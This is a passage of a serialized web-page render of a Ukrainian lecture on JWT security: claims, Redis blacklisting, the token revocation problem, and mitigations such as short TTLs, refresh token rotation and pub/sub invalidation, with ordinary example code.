exp:",[5292,7735,5764],{"class":5542},[5292,7737,5580],{"class":5388},[5292,7739,5769],{"class":5570},[5292,7741,5574],{"class":5388},[5292,7743,5774],{"class":5542},[5292,7745,5580],{"class":5388},[5292,7747,5779],{"class":5570},[5292,7749,5782],{"class":5388},[5292,7751,5785],{"class":5688},[5292,7753,5814],{"class":5388},[5292,7755,5817],{"class":5688},[5292,7757,5405],{"class":5388},[5292,7759,7760],{"class":5294,"line":5337},[5292,7761,6190],{"class":5388},[5292,7763,7764],{"class":5294,"line":5343},[5292,7765,5923],{"class":5535},[5292,7767,7768],{"class":5294,"line":5348},[5292,7769,5928],{"class":5388},[5292,7771,7772],{"class":5294,"line":5354},[5292,7773,6091],{"emptyLinePlaceholder":6090},[5292,7775,7776],{"class":5294,"line":5360},[5292,7777,7778],{"class":5596},"\u002F\u002F При виході користувача — додаємо jti до blacklist у Redis\n",[5292,7780,7781,7784,7787,7789,7792,7794,7797,7800,7802,7805,7808,7810,7812,7814,7817,7820],{"class":5294,"line":5366},[5292,7782,7783],{"class":6061},"await",[5292,7785,7786],{"class":5542}," redis",[5292,7788,5580],{"class":5388},[5292,7790,7791],{"class":5570},"setex",[5292,7793,5574],{"class":5388},[5292,7795,7796],{"class":5401},"`blacklist:",[5292,7798,7799],{"class":5531},"${",[5292,7801,5151],{"class":5542},[5292,7803,7804],{"class":5531},"}",[5292,7806,7807],{"class":5401},"`",[5292,7809,5221],{"class":5388},[5292,7811,5817],{"class":5688},[5292,7813,5221],{"class":5388},[5292,7815,7816],{"class":5401},"'revoked'",[5292,7818,7819],{"class":5388},"); ",[5292,7821,7822],{"class":5596},"\u002F\u002F TTL = exp - now\n",[5292,7824,7825],{"class":5294,"line":6213},[5292,7826,6091],{"emptyLinePlaceholder":6090},[5292,7828,7829],{"class":5294,"line":6224},[5292,7830,7831],{"class":5596},"\u002F\u002F При верифікації — перевірка blacklist\n",[5292,7833,7834,7836,7838,7840,7842,7844,7846,7848,7850],{"class":5294,"line":6230},[5292,7835,5532],{"class":5531},[5292,7837,5720],{"class":5535},[5292,7839,5567],{"class":5388},[5292,7841,6073],{"class":5570},[5292,7843,5574],{"class":5388},[5292,7845,6269],{"class":5542},[5292,7847,5221],{"class":5388},[5292,7849,6274],{"class":5535},[5292,7851,5928],{"class":5388},[5292,7853,7854,7856,7859,7861,7863,7865,7867,7870,7872,7874,7876,7878,7881,7883,7885,7887],{"class":5294,"line":6235},[5292,7855,5532],{"class":5531},[5292,7857,7858],{"class":5535}," isBlacklisted",[5292,7860,5567],{"class":5388},[5292,7862,7783],{"class":6061},[5292,7864,7786],{"class":5542},[5292,7866,5580],{"class":5388},[5292,7868,7869],{"class":5570},"exists",[5292,7871,5574],{"class":5388},[5292,7873,7796],{"class":5401},[5292,7875,7799],{"class":5531},[5292,7877,5851],{"class":5542},[5292,7879,5580],{"class":7880},"sD7JJ",[5292,7882,5151],{"class":5542},[5292,7884,7804],{"class":5531},[5292,7886,7807],{"class":5401},[5292,7888,5928],{"class":5388},[5292,7890,7891],{"class":5294,"line":6240},[5292,7892,6091],{"emptyLinePlaceholder":6090},[5292,7894,7895,7897,7899,7902],{"class":5294,"line":6246},[5292,7896,7413],{"class":6061},[5292,7898,6017],{"class":5388},[5292,7900,7901],{"class":5542},"isBlacklisted",[5292,7903,6343],{"class":5388},[5292,7905,7906,7908,7910,7912,7914,7917],{"class":5294,"line":6255},[5292,7907,7433],{"class":6061},[5292,7909,7436],{"class":5531},[5292,7911,7439],{"class":5570},[5292,7913,5574],{"class":5388},[5292,7915,7916],{"class":5401},"'Token has been revoked'",[5292,7918,5928],{"class":5388},[5292,7920,7921],{"class":5294,"line":6280},[5292,7922,5420],{"class":5388},[5860,7924,7925,7928,7929,7932],{},[5099,7926,7927],{},"Проблема blacklist:"," перевірка blacklist вимагає звернення до Redis при кожному запиті, що ",[5099,7930,7931],{},"нівелює основну перевагу JWT"," — stateless верифікацію. Blacklist має сенс лише для критичних сценаріїв (вихід користувача, зміна паролю, блокування облікового запису). Для звичайних операцій покладайтеся на короткий TTL access токенів.",[5254,7934,7936],{"id":7935},"public-та-private-claims","Public та Private Claims",[5089,7938,7939,7942],{},[5099,7940,7941],{},"Public Claims"," — це claims, визначені у публічних реєстрах (IANA JWT Claims Registry) або через URI, що запобігають колізіям назв між різними системами:",[5262,7944,7946],{"className":5522,"code":7945,"language":5524,"meta":5270,"style":5270},"{\n  \"sub\": \"user123\",\n  \"https:\u002F\u002Fmyapp.com\u002Fclaims\u002Fdepartment\": \"engineering\",\n  \"https:\u002F\u002Fmyapp.com\u002Fclaims\u002Fclearance_level\": 3\n}\n",[5110,7947,7948,7952,7963,7975,7985],{"__ignoreMap":5270},[5292,7949,7950],{"class":5294,"line":5295},[5292,7951,5389],{"class":5388},[5292,7953,7954,7956,7958,7961],{"class":5294,"line":5301},[5292,7955,5645],{"class":5401},[5292,7957,5398],{"class":5388},[5292,7959,7960],{"class":5401},"\"user123\"",[5292,7962,5405],{"class":5388},[5292,7964,7965,7968,7970,7973],{"class":5294,"line":5307},[5292,7966,7967],{"class":5401},"  \"https:\u002F\u002Fmyapp.com\u002Fclaims\u002Fdepartment\"",[5292,7969,5398],{"class":5388},[5292,7971,7972],{"class":5401},"\"engineering\"",[5292,7974,5405],{"class":5388},[5292,7976,7977,7980,7982],{"class":5294,"line":5313},[5292,7978,7979],{"class":5401},"  \"https:\u002F\u002Fmyapp.com\u002Fclaims\u002Fclearance_level\"",[5292,7981,5398],{"class":5388},[5292,7983,7984],{"class":5688},"3\n",[5292,7986,7987],{"class":5294,"line":5319},[5292,7988,5420],{"class":5388},[5089,7990,7991,7994],{},[5099,7992,7993],{},"Private Claims"," — це custom claims, визначені розробниками застосунку для внутрішнього використання. Немає гарантій унікальності назв:",[5262,7996,7998],{"className":5522,"code":7997,"language":5524,"meta":5270,"style":5270},"{\n  \"sub\": \"user123\",\n  \"email\": \"ivan@example.com\",\n  \"roles\": [\"user\", \"moderator\"],\n  \"subscription_tier\": \"premium\",\n  \"language\": \"uk\"\n}\n",[5110,7999,8000,8004,8014,8024,8039,8051,8061],{"__ignoreMap":5270},[5292,8001,8002],{"class":5294,"line":5295},[5292,8003,5389],{"class":5388},[5292,8005,8006,8008,8010,8012],{"class":5294,"line":5301},[5292,8007,5645],{"class":5401},[5292,8009,5398],{"class":5388},[5292,8011,7960],{"class":5401},[5292,8013,5405],{"class":5388},[5292,8015,8016,8018,8020,8022],{"class":5294,"line":5307},[5292,8017,5657],{"class":5401},[5292,8019,5398],{"class":5388},[5292,8021,5662],{"class":5401},[5292,8023,5405],{"class":5388},[5292,8025,8026,8028,8030,8032,8034,8037],{"class":5294,"line":5313},[5292,8027,5669],{"class":5401},[5292,8029,5672],{"class":5388},[5292,8031,5675],{"class":5401},[5292,8033,5221],{"class":5388},[5292,8035,8036],{"class":5401},"\"moderator\"",[5292,8038,5678],{"class":5388},[5292,8040,8041,8044,8046,8049],{"class":5294,"line":5319},[5292,8042,8043],{"class":5401},"  \"subscription_tier\"",[5292,8045,5398],{"class":5388},[5292,8047,8048],{"class":5401},"\"premium\"",[5292,8050,5405],{"class":5388},[5292,8052,8053,8056,8058],{"class":5294,"line":5325},[5292,8054,8055],{"class":5401},"  \"language\"",[5292,8057,5398],{"class":5388},[5292,8059,8060],{"class":5401},"\"uk\"\n",[5292,8062,8063],{"class":5294,"line":5331},[5292,8064,5420],{"class":5388},[5985,8066,8067,8070,8071,5221,8073,8075,8076,5207],{},[5099,8068,8069],{},"Best practice для custom claims:"," використовуйте короткі назви для зменшення розміру токена (",[5110,8072,6169],{},[5110,8074,6183],{},"), але уникайте колізій зі стандартними claims. Якщо застосунок інтегрується зі сторонніми системами, використовуйте namespace через URI (",[5110,8077,8078],{},"https:\u002F\u002Fmyapp.com\u002Fclaims\u002F...",[5169,8080],{},[5084,8082,8084],{"id":8083},"час-життя-токена-та-проблема-відкликання","Час життя токена та проблема відкликання",[5089,8086,8087,8088,8091],{},"Одна з фундаментальних характеристик JWT — їхня ",[5099,8089,8090],{},"stateless природа",". Сервер не зберігає видані токени у базі даних або Redis, що забезпечує горизонтальне масштабування та високу продуктивність. Проте ця перевага стає недоліком у сценаріях, де необхідно миттєво відкликати токен.",[5254,8093,8095],{"id":8094},"проблема-неможливість-відкликання-до-exp","Проблема: неможливість відкликання до exp",[5089,8097,8098],{},"Розглянемо небезпечний сценарій:",[5958,8100,8101,8108,8111],{},[5096,8102,8103,8104,8107],{},"Користувач входить у систему о 10:00 та отримує access token з ",[5110,8105,8106],{},"exp = 10:15"," (15 хвилин життя).",[5096,8109,8110],{},"О 10:05 адміністратор блокує обліковий запис користувача у базі даних.",[5096,8112,8113,8114,8117,8118,8120],{},"Користувач продовжує надсилати запити з дійсним токеном до 10:15 — ",[5099,8115,8116],{},"сервер приймає запити",", оскільки підпис токена дійсний, а ",[5110,8119,5139],{}," ще не настав.",[5089,8122,8123],{},[5099,8124,8125],{},"Чому сервер не знає про блокування?",[5089,8127,8128,8129,8132,8133,8136,8137,8140],{},"JWT токени є ",[5099,8130,8131],{},"самодостатніми"," — всі дані містяться всередині токена, а сервер перевіряє лише криптографічний підпис. Він ",[5099,8134,8135],{},"не звертається до бази даних"," для завантаження поточного статусу користувача. Зміни у базі даних (блокування, зміна ролей, вихід) ",[5099,8138,8139],{},"не впливають"," на вже видані токени до закінчення їхнього TTL.",[5254,8142,8144],{"id":8143},"стратегії-мітигації-проблеми","Стратегії мітигації проблеми",[5172,8146,8147,8263,8469,8674],{},[5175,8148,8150,8161,8166,8251,8257],{"icon":4221,"title":8149},"⏱️ Короткий TTL Access Token",[5089,8151,8152,8153,8156,8157,8160],{},"Найпростіше рішення — встановити дуже короткий термін життя access токена (5–15 хвилин). Це обмежує ",[5099,8154,8155],{},"вікно вразливості"," до 15 хвилин у найгіршому випадку. Для зручності користувачів використовується механізм ",[5099,8158,8159],{},"refresh tokens"," (детально у наступній лекції) — довгоживучий токен, що дозволяє автоматично отримувати нові access токени.",[5089,8162,8163],{},[5099,8164,8165],{},"Конфігурація:",[5262,8167,8169],{"className":5522,"code":8168,"language":5524,"meta":5270,"style":5270},"\u002F\u002F Access Token — короткий TTL\nconst accessToken = sign(payload, SECRET_KEY, { expiresIn: '15m' });\n\n\u002F\u002F Refresh Token — довгий TTL, зберігається у HttpOnly cookie\nconst refreshToken = sign({ sub: user.id }, REFRESH_SECRET, { expiresIn: '7d' });\n",[5110,8170,8171,8176,8204,8208,8213],{"__ignoreMap":5270},[5292,8172,8173],{"class":5294,"line":5295},[5292,8174,8175],{"class":5596},"\u002F\u002F Access Token — короткий TTL\n",[5292,8177,8178,8180,8183,8185,8187,8189,8191,8193,8195,8197,8200,8202],{"class":5294,"line":5301},[5292,8179,5532],{"class":5531},[5292,8181,8182],{"class":5535}," accessToken",[5292,8184,5567],{"class":5388},[5292,8186,6068],{"class":5570},[5292,8188,5574],{"class":5388},[5292,8190,5851],{"class":5542},[5292,8192,5221],{"class":5388},[5292,8194,6274],{"class":5535},[5292,8196,7320],{"class":5388},[5292,8198,8199],{"class":5542},"expiresIn:",[5292,8201,6219],{"class":5401},[5292,8203,7328],{"class":5388},[5292,8205,8206],{"class":5294,"line":5307},[5292,8207,6091],{"emptyLinePlaceholder":6090},[5292,8209,8210],{"class":5294,"line":5313},[5292,8211,8212],{"class":5596},"\u002F\u002F Refresh Token — довгий TTL, зберігається у HttpOnly cookie\n",[5292,8214,8215,8217,8220,8222,8224,8227,8230,8232,8234,8236,8239,8242,8244,8246,8249],{"class":5294,"line":5319},[5292,8216,5532],{"class":5531},[5292,8218,8219],{"class":5535}," refreshToken",[5292,8221,5567],{"class":5388},[5292,8223,6068],{"class":5570},[5292,8225,8226],{"class":5388},"({ ",[5292,8228,8229],{"class":5542},"sub:",[5292,8231,6150],{"class":5542},[5292,8233,5580],{"class":5388},[5292,8235,6155],{"class":5542},[5292,8237,8238],{"class":5388}," }, ",[5292,8240,8241],{"class":5535},"REFRESH_SECRET",[5292,8243,7320],{"class":5388},[5292,8245,8199],{"class":5542},[5292,8247,8248],{"class":5401}," '7d'",[5292,8250,7328],{"class":5388},[5089,8252,8253,8256],{},[5099,8254,8255],{},"Переваги:"," простота реалізації, мінімальне навантаження на інфраструктуру.",[5089,8258,8259,8262],{},[5099,8260,8261],{},"Недоліки:"," 15-хвилинне вікно вразливості залишається.",[5175,8264,8267,8276,8459,8464],{"icon":8265,"title":8266},"i-lucide-ban","🚫 Blacklist відкликаних токенів",[5089,8268,8269,8270,8272,8273,8275],{},"Зберігання списку відкликаних токенів у Redis за їхнім ",[5110,8271,5151],{}," (JWT ID). При верифікації сервер перевіряє, чи не міститься ",[5110,8274,5151],{}," у blacklist:",[5262,8277,8279],{"className":5522,"code":8278,"language":5524,"meta":5270,"style":5270},"\u002F\u002F Відкликання токена при виході користувача\nawait redis.setex(\n  `blacklist:${payload.jti}`,\n  payload.exp - Math.floor(Date.now() \u002F 1000), \u002F\u002F TTL = залишок часу до exp\n  'revoked'\n);\n\n\u002F\u002F Перевірка при верифікації\nconst payload = verify(token, SECRET_KEY);\nconst isRevoked = await redis.exists(`blacklist:${payload.jti}`);\n\nif (isRevoked) {\n  throw new UnauthorizedException('Token has been revoked');\n}\n",[5110,8280,8281,8286,8298,8317,8353,8358,8362,8366,8371,8391,8426,8430,8441,8455],{"__ignoreMap":5270},[5292,8282,8283],{"class":5294,"line":5295},[5292,8284,8285],{"class":5596},"\u002F\u002F Відкликання токена при виході користувача\n",[5292,8287,8288,8290,8292,8294,8296],{"class":5294,"line":5301},[5292,8289,7783],{"class":6061},[5292,8291,7786],{"class":5542},[5292,8293,5580],{"class":5388},[5292,8295,7791],{"class":5570},[5292,8297,5900],{"class":5388},[5292,8299,8300,8303,8305,8307,8309,8311,8313,8315],{"class":5294,"line":5307},[5292,8301,8302],{"class":5401},"  `blacklist:",[5292,8304,7799],{"class":5531},[5292,8306,5851],{"class":5542},[5292,8308,5580],{"class":7880},[5292,8310,5151],{"class":5542},[5292,8312,7804],{"class":5531},[5292,8314,7807],{"class":5401},[5292,8316,5405],{"class":5388},[5292,8318,8319,8322,8324,8326,8329,8331,8333,8335,8337,8339,8341,8343,8345,8347,8350],{"class":5294,"line":5313},[5292,8320,8321],{"class":5542},"  payload",[5292,8323,5580],{"class":5388},[5292,8325,5139],{"class":5542},[5292,8327,8328],{"class":5388}," - ",[5292,8330,7386],{"class":5542},[5292,8332,5580],{"class":5388},[5292,8334,5769],{"class":5570},[5292,8336,5574],{"class":5388},[5292,8338,5774],{"class":5542},[5292,8340,5580],{"class":5388},[5292,8342,5779],{"class":5570},[5292,8344,5782],{"class":5388},[5292,8346,5785],{"class":5688},[5292,8348,8349],{"class":5388},"), ",[5292,8351,8352],{"class":5596},"\u002F\u002F TTL = залишок часу до exp\n",[5292,8354,8355],{"class":5294,"line":5319},[5292,8356,8357],{"class":5401},"  'revoked'\n",[5292,8359,8360],{"class":5294,"line":5325},[5292,8361,5928],{"class":5388},[5292,8363,8364],{"class":5294,"line":5331},[5292,8365,6091],{"emptyLinePlaceholder":6090},[5292,8367,8368],{"class":5294,"line":5337},[5292,8369,8370],{"class":5596},"\u002F\u002F Перевірка при верифікації\n",[5292,8372,8373,8375,8377,8379,8381,8383,8385,8387,8389],{"class":5294,"line":5343},[5292,8374,5532],{"class":5531},[5292,8376,5720],{"class":5535},[5292,8378,5567],{"class":5388},[5292,8380,6073],{"class":5570},[5292,8382,5574],{"class":5388},[5292,8384,6269],{"class":5542},[5292,8386,5221],{"class":5388},[5292,8388,6274],{"class":5535},[5292,8390,5928],{"class":5388},[5292,8392,8393,8395,8398,8400,8402,8404,8406,8408,8410,8412,8414,8416,8418,8420,8422,8424],{"class":5294,"line":5348},[5292,8394,5532],{"class":5531},[5292,8396,8397],{"class":5535}," isRevoked",[5292,8399,5567],{"class":5388},[5292,8401,7783],{"class":6061},[5292,8403,7786],{"class":5542},[5292,8405,5580],{"class":5388},[5292,8407,7869],{"class":5570},[5292,8409,5574],{"class":5388},[5292,8411,7796],{"class":5401},[5292,8413,7799],{"class":5531},[5292,8415,5851],{"class":5542},[5292,8417,5580],{"class":7880},[5292,8419,5151],{"class":5542},[5292,8421,7804],{"class":5531},[5292,8423,7807],{"class":5401},[5292,8425,5928],{"class":5388},[5292,8427,8428],{"class":5294,"line":5354},[5292,8429,6091],{"emptyLinePlaceholder":6090},[5292,8431,8432,8434,8436,8439],{"class":5294,"line":5360},[5292,8433,7413],{"class":6061},[5292,8435,6017],{"class":5388},[5292,8437,8438],{"class":5542},"isRevoked",[5292,8440,6343],{"class":5388},[5292,8442,8443,8445,8447,8449,8451,8453],{"class":5294,"line":5366},[5292,8444,7433],{"class":6061},[5292,8446,7436],{"class":5531},[5292,8448,7439],{"class":5570},[5292,8450,5574],{"class":5388},[5292,8452,7916],{"class":5401},[5292,8454,5928],{"class":5388},[5292,8456,8457],{"class":5294,"line":6213},[5292,8458,5420],{"class":5388},[5089,8460,8461,8463],{},[5099,8462,8255],{}," миттєве відкликання токенів.",[5089,8465,8466,8468],{},[5099,8467,8261],{}," втрата stateless природи JWT — кожен запит вимагає звернення до Redis. При великій кількості активних користувачів це створює значне навантаження на сховище.",[5175,8470,8472,8475,8661,8666],{"icon":2492,"title":8471},"🔄 Refresh Token Rotation",[5089,8473,8474],{},"Замість відкликання access токенів система відкликає refresh токени, збережені у базі даних. При спробі оновити access token сервер перевіряє, чи не відкликаний refresh token:",[5262,8476,8478],{"className":5522,"code":8477,"language":5524,"meta":5270,"style":5270},"\u002F\u002F Зберігання refresh token у БД при логіні\nawait db.refreshTokens.create({\n  tokenHash: hashSync(refreshToken, 10), \u002F\u002F Зберігаємо хеш, не сам токен\n  userId: user.id,\n  expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),\n  isRevoked: false,\n});\n\n\u002F\u002F Відкликання всіх refresh токенів при блокуванні користувача\nawait db.refreshTokens.updateMany(\n  { userId: user.id },\n  { isRevoked: true }\n);\n",[5110,8479,8480,8485,8505,8528,8541,8586,8596,8601,8605,8610,8627,8644,8657],{"__ignoreMap":5270},[5292,8481,8482],{"class":5294,"line":5295},[5292,8483,8484],{"class":5596},"\u002F\u002F Зберігання refresh token у БД при логіні\n",[5292,8486,8487,8489,8492,8494,8497,8499,8502],{"class":5294,"line":5301},[5292,8488,7783],{"class":6061},[5292,8490,8491],{"class":5542}," db",[5292,8493,5580],{"class":5388},[5292,8495,8496],{"class":5542},"refreshTokens",[5292,8498,5580],{"class":5388},[5292,8500,8501],{"class":5570},"create",[5292,8503,8504],{"class":5388},"({\n",[5292,8506,8507,8510,8513,8515,8518,8520,8523,8525],{"class":5294,"line":5307},[5292,8508,8509],{"class":5542},"  tokenHash:",[5292,8511,8512],{"class":5570}," hashSync",[5292,8514,5574],{"class":5388},[5292,8516,8517],{"class":5542},"refreshToken",[5292,8519,5221],{"class":5388},[5292,8521,8522],{"class":5688},"10",[5292,8524,8349],{"class":5388},[5292,8526,8527],{"class":5596},"\u002F\u002F Зберігаємо хеш, не сам токен\n",[5292,8529,8530,8533,8535,8537,8539],{"class":5294,"line":5313},[5292,8531,8532],{"class":5542},"  userId:",[5292,8534,6150],{"class":5542},[5292,8536,5580],{"class":5388},[5292,8538,6155],{"class":5542},[5292,8540,5405],{"class":5388},[5292,8542,8543,8546,8548,8551,8553,8555,8557,8559,8562,8565,8568,8571,8573,8576,8578,8580,8582,8584],{"class":5294,"line":5319},[5292,8544,8545],{"class":5542},"  expiresAt:",[5292,8547,7436],{"class":5531},[5292,8549,8550],{"class":5570}," Date",[5292,8552,5574],{"class":5388},[5292,8554,5774],{"class":5542},[5292,8556,5580],{"class":5388},[5292,8558,5779],{"class":5570},[5292,8560,8561],{"class":5388},"() + ",[5292,8563,8564],{"class":5688},"7",[5292,8566,8567],{"class":5388}," * ",[5292,8569,8570],{"class":5688},"24",[5292,8572,8567],{"class":5388},[5292,8574,8575],{"class":5688},"60",[5292,8577,8567],{"class":5388},[5292,8579,8575],{"class":5688},[5292,8581,8567],{"class":5388},[5292,8583,5785],{"class":5688},[5292,8585,5788],{"class":5388},[5292,8587,8588,8591,8594],{"class":5294,"line":5325},[5292,8589,8590],{"class":5542},"  isRevoked:",[5292,8592,8593],{"class":5531}," false",[5292,8595,5405],{"class":5388},[5292,8597,8598],{"class":5294,"line":5331},[5292,8599,8600],{"class":5388},"});\n",[5292,8602,8603],{"class":5294,"line":5337},[5292,8604,6091],{"emptyLinePlaceholder":6090},[5292,8606,8607],{"class":5294,"line":5343},[5292,8608,8609],{"class":5596},"\u002F\u002F Відкликання всіх refresh токенів при блокуванні користувача\n",[5292,8611,8612,8614,8616,8618,8620,8622,8625],{"class":5294,"line":5348},[5292,8613,7783],{"class":6061},[5292,8615,8491],{"class":5542},[5292,8617,5580],{"class":5388},[5292,8619,8496],{"class":5542},[5292,8621,5580],{"class":5388},[5292,8623,8624],{"class":5570},"updateMany",[5292,8626,5900],{"class":5388},[5292,8628,8629,8632,8635,8637,8639,8641],{"class":5294,"line":5354},[5292,8630,8631],{"class":5388},"  { ",[5292,8633,8634],{"class":5542},"userId:",[5292,8636,6150],{"class":5542},[5292,8638,5580],{"class":5388},[5292,8640,6155],{"class":5542},[5292,8642,8643],{"class":5388}," },\n",[5292,8645,8646,8648,8651,8654],{"class":5294,"line":5360},[5292,8647,8631],{"class":5388},[5292,8649,8650],{"class":5542},"isRevoked:",[5292,8652,8653],{"class":5531}," true",[5292,8655,8656],{"class":5388}," }\n",[5292,8658,8659],{"class":5294,"line":5366},[5292,8660,5928],{"class":5388},[5089,8662,8663,8665],{},[5099,8664,8255],{}," баланс між stateless верифікацією access токенів (без звернення до БД) та можливістю відкликання через refresh токени.",[5089,8667,8668,8670,8671,5580],{},[5099,8669,8261],{}," складніша реалізація, вимагає додаткового API ендпоінту ",[5110,8672,8673],{},"\u002Fauth\u002Frefresh",[5175,8675,8678,8681,8900,8905],{"icon":8676,"title":8677},"i-lucide-radio","📡 Real-time Push Invalidation",[5089,8679,8680],{},"Для критичних систем (онлайн-банкінг, корпоративні системи) використовується механізм push-нотифікацій про відкликання токенів через WebSocket або Server-Sent Events:",[5262,8682,8684],{"className":5522,"code":8683,"language":5524,"meta":5270,"style":5270},"\u002F\u002F При блокуванні користувача — відправка події всім екземплярам сервера\nawait pubsub.publish('token.revoked', {\n  userId: user.id,\n  revokedAt: Date.now(),\n});\n\n\u002F\u002F Кожен сервер підписується на події та кешує список відкликаних користувачів\npubsub.subscribe('token.revoked', (message) => {\n  revokedUsersCache.set(message.userId, message.revokedAt, 900); \u002F\u002F TTL 15 хвилин\n});\n\n\u002F\u002F При верифікації — швидка перевірка in-memory кешу\nconst revokedAt = revokedUsersCache.get(payload.sub);\nif (revokedAt && payload.iat \u003C revokedAt \u002F 1000) {\n  throw new UnauthorizedException('User has been blocked');\n}\n",[5110,8685,8686,8691,8710,8722,8736,8740,8744,8749,8776,8813,8817,8821,8826,8853,8881,8896],{"__ignoreMap":5270},[5292,8687,8688],{"class":5294,"line":5295},[5292,8689,8690],{"class":5596},"\u002F\u002F При блокуванні користувача — відправка події всім екземплярам сервера\n",[5292,8692,8693,8695,8698,8700,8703,8705,8708],{"class":5294,"line":5301},[5292,8694,7783],{"class":6061},[5292,8696,8697],{"class":5542}," pubsub",[5292,8699,5580],{"class":5388},[5292,8701,8702],{"class":5570},"publish",[5292,8704,5574],{"class":5388},[5292,8706,8707],{"class":5401},"'token.revoked'",[5292,8709,6277],{"class":5388},[5292,8711,8712,8714,8716,8718,8720],{"class":5294,"line":5307},[5292,8713,8532],{"class":5542},[5292,8715,6150],{"class":5542},[5292,8717,5580],{"class":5388},[5292,8719,6155],{"class":5542},[5292,8721,5405],{"class":5388},[5292,8723,8724,8727,8729,8731,8733],{"class":5294,"line":5313},[5292,8725,8726],{"class":5542},"  revokedAt:",[5292,8728,8550],{"class":5542},[5292,8730,5580],{"class":5388},[5292,8732,5779],{"class":5570},[5292,8734,8735],{"class":5388},"(),\n",[5292,8737,8738],{"class":5294,"line":5319},[5292,8739,8600],{"class":5388},[5292,8741,8742],{"class":5294,"line":5325},[5292,8743,6091],{"emptyLinePlaceholder":6090},[5292,8745,8746],{"class":5294,"line":5331},[5292,8747,8748],{"class":5596},"\u002F\u002F Кожен сервер підписується на події та кешує список відкликаних користувачів\n",[5292,8750,8751,8754,8756,8759,8761,8763,8766,8768,8771,8774],{"class":5294,"line":5337},[5292,8752,8753],{"class":5542},"pubsub",[5292,8755,5580],{"class":5388},[5292,8757,8758],{"class":5570},"subscribe",[5292,8760,5574],{"class":5388},[5292,8762,8707],{"class":5401},[5292,8764,8765],{"class":5388},", (",[5292,8767,6366],{"class":5542},[5292,8769,8770],{"class":5388},") ",[5292,8772,8773],{"class":5531},"=>",[5292,8775,6252],{"class":5388},[5292,8777,8778,8781,8783,8786,8788,8790,8792,8795,8797,8799,8801,8804,8806,8808,8810],{"class":5294,"line":5343},[5292,8779,8780],{"class":5542},"  revokedUsersCache",[5292,8782,5580],{"class":5388},[5292,8784,8785],{"class":5570},"set",[5292,8787,5574],{"class":5388},[5292,8789,6366],{"class":5542},[5292,8791,5580],{"class":5388},[5292,8793,8794],{"class":5542},"userId",[5292,8796,5221],{"class":5388},[5292,8798,6366],{"class":5542},[5292,8800,5580],{"class":5388},[5292,8802,8803],{"class":5542},"revokedAt",[5292,8805,5221],{"class":5388},[5292,8807,5817],{"class":5688},[5292,8809,7819],{"class":5388},[5292,8811,8812],{"class":5596},"\u002F\u002F TTL 15 хвилин\n",[5292,8814,8815],{"class":5294,"line":5348},[5292,8816,8600],{"class":5388},[5292,8818,8819],{"class":5294,"line":5354},[5292,8820,6091],{"emptyLinePlaceholder":6090},[5292,8822,8823],{"class":5294,"line":5360},[5292,8824,8825],{"class":5596},"\u002F\u002F При верифікації — швидка перевірка in-memory кешу\n",[5292,8827,8828,8830,8833,8835,8838,8840,8843,8845,8847,8849,8851],{"class":5294,"line":5366},[5292,8829,5532],{"class":5531},[5292,8831,8832],{"class":5535}," revokedAt",[5292,8834,5567],{"class":5388},[5292,8836,8837],{"class":5542},"revokedUsersCache",[5292,8839,5580],{"class":5388},[5292,8841,8842],{"class":5570},"get",[5292,8844,5574],{"class":5388},[5292,8846,5851],{"class":5542},[5292,8848,5580],{"class":5388},[5292,8850,5131],{"class":5542},[5292,8852,5928],{"class":5388},[5292,8854,8855,8857,8859,8861,8864,8866,8868,8870,8872,8874,8877,8879],{"class":5294,"line":6213},[5292,8856,7413],{"class":6061},[5292,8858,6017],{"class":5388},[5292,8860,8803],{"class":5542},[5292,8862,8863],{"class":5388}," && ",[5292,8865,5851],{"class":5542},[5292,8867,5580],{"class":5388},[5292,8869,5143],{"class":5542},[5292,8871,7424],{"class":5388},[5292,8873,8803],{"class":5542},[5292,8875,8876],{"class":5388}," \u002F ",[5292,8878,5785],{"class":5688},[5292,8880,6343],{"class":5388},[5292,8882,8883,8885,8887,8889,8891,8894],{"class":5294,"line":6224},[5292,8884,7433],{"class":6061},[5292,8886,7436],{"class":5531},[5292,8888,7439],{"class":5570},[5292,8890,5574],{"class":5388},[5292,8892,8893],{"class":5401},"'User has been blocked'",[5292,8895,5928],{"class":5388},[5292,8897,8898],{"class":5294,"line":6230},[5292,8899,5420],{"class":5388},[5089,8901,8902,8904],{},[5099,8903,8255],{}," миттєве відкликання з мінімальним навантаженням (перевірка in-memory кешу).",[5089,8906,8907,8909],{},[5099,8908,8261],{}," найскладніша архітектура, вимагає Redis Pub\u002FSub або інший message broker.",[5089,8911,8912],{},[5099,8913,8914],{},"Рекомендація:",[5089,8916,8917,8918,8921,8922,8925],{},"Для ",[5099,8919,8920],{},"більшості застосунків"," оптимальним є ",[5099,8923,8924],{},"комбінація короткого TTL access токенів (15 хвилин) та refresh token rotation",". Це забезпечує баланс між безпекою, продуктивністю та складністю реалізації.",[5169,8927],{},[5084,8929,8931],{"id":8930},"практична-робота-з-jwt-декодування-та-аналіз","Практична робота з JWT: декодування та аналіз",[5089,8933,8934],{},"Для глибокого розуміння структури JWT корисно вручну декодувати токени та аналізувати їхній вміст. Розглянемо інструменти та практичні приклади.",[5254,8936,8938],{"id":8937},"інструмент-jwtio","Інструмент jwt.io",[5089,8940,8941,8944],{},[5099,8942,8943],{},"JWT.io"," — це офіційний онлайн-дебаггер від Auth0, що дозволяє:",[5093,8946,8947,8950,8953],{},[5096,8948,8949],{},"Декодувати та відображати вміст header та payload.",[5096,8951,8952],{},"Верифікувати підпис токена (для HS256 потрібен секретний ключ, для RS256 — публічний).",[5096,8954,8955],{},"Згенерувати нові токени з custom claims.",[5089,8957,8958],{},[5099,8959,8960],{},"Приклад використання:",[5958,8962,8963,8974,8980],{},[5096,8964,8965,8966,8973],{},"Відкрийте ",[8967,8968,8972],"a",{"href":8969,"rel":8970},"https:\u002F\u002Fjwt.io",[8971],"nofollow","jwt.io"," у браузері.",[5096,8975,8976,8977,5580],{},"Вставте JWT токен у поле ",[5099,8978,8979],{},"Encoded",[5096,8981,8982],{},"Сайт автоматично розбере токен на три частини та відобразить декодований JSON.",[8984,8985,8987,9002,9005,9013,9017,9020,9027,9031,9034],"terminal-preview",{"title":8986},"Приклад декодування JWT",[8988,8989,8991,8996,8997],"div",{"className":8990},[5294],[5292,8992,8995],{"className":8993},[8994],"opacity-40","$"," ",[5099,8998,9001],{"className":8999},[9000],"font-bold","echo 